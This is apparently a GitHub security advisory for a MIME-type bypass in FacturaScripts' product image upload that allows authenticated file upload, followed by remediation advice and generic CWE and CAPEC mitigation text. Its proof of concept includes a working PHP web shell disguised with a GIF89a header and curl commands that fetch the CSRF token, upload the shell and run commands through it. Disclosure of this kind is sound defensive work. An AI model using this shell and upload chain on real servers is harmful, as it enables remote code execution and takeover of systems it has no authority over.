GHSA-VF3Q-FRMR-VRR9
Vulnerability from github – Published: 2026-05-07 19:49 – Updated: 2026-06-08 23:53CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Specifically in the addImageAction() method.
Vulnerable Code
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Root Cause
- The validation only checks if MIME type contains
"image/" - This can be bypassed by prepending GIF89a magic bytes to a PHP file
- The system incorrectly identifies the file as
image/gif - The file is saved with a
.phpextension in a web-accessible directory
File Storage Behavior
Uploaded files are stored in:
/MyFiles/YYYY/MM/X.php
Where X is an auto-incrementing ID. This allows direct remote execution:
http://target/MyFiles/2026/03/2.php?cmd=id
Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
Proof of Concept (Manual)
Step 1: Create malicious file
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
Step 2: Authenticate
- Login to the application
- Extract
PHPSESSIDfrom browser cookies
Step 3: Get CSRF token
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
Step 4: Upload shell
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[]=@shell.jpg.php"
Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Affected Products
| Field | Value |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | facturascripts/facturascripts |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
Remediation Recommendations
- Validate file extension — reject any upload where the filename ends in
.php,.phtml,.phar, or other executable extensions, regardless of MIME type - Re-generate filenames on the server — never use
getClientOriginalName(); assign a safe UUID-based name with a validated extension - Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
- Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like
fileinforather than trusting client-supplied MIME

Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
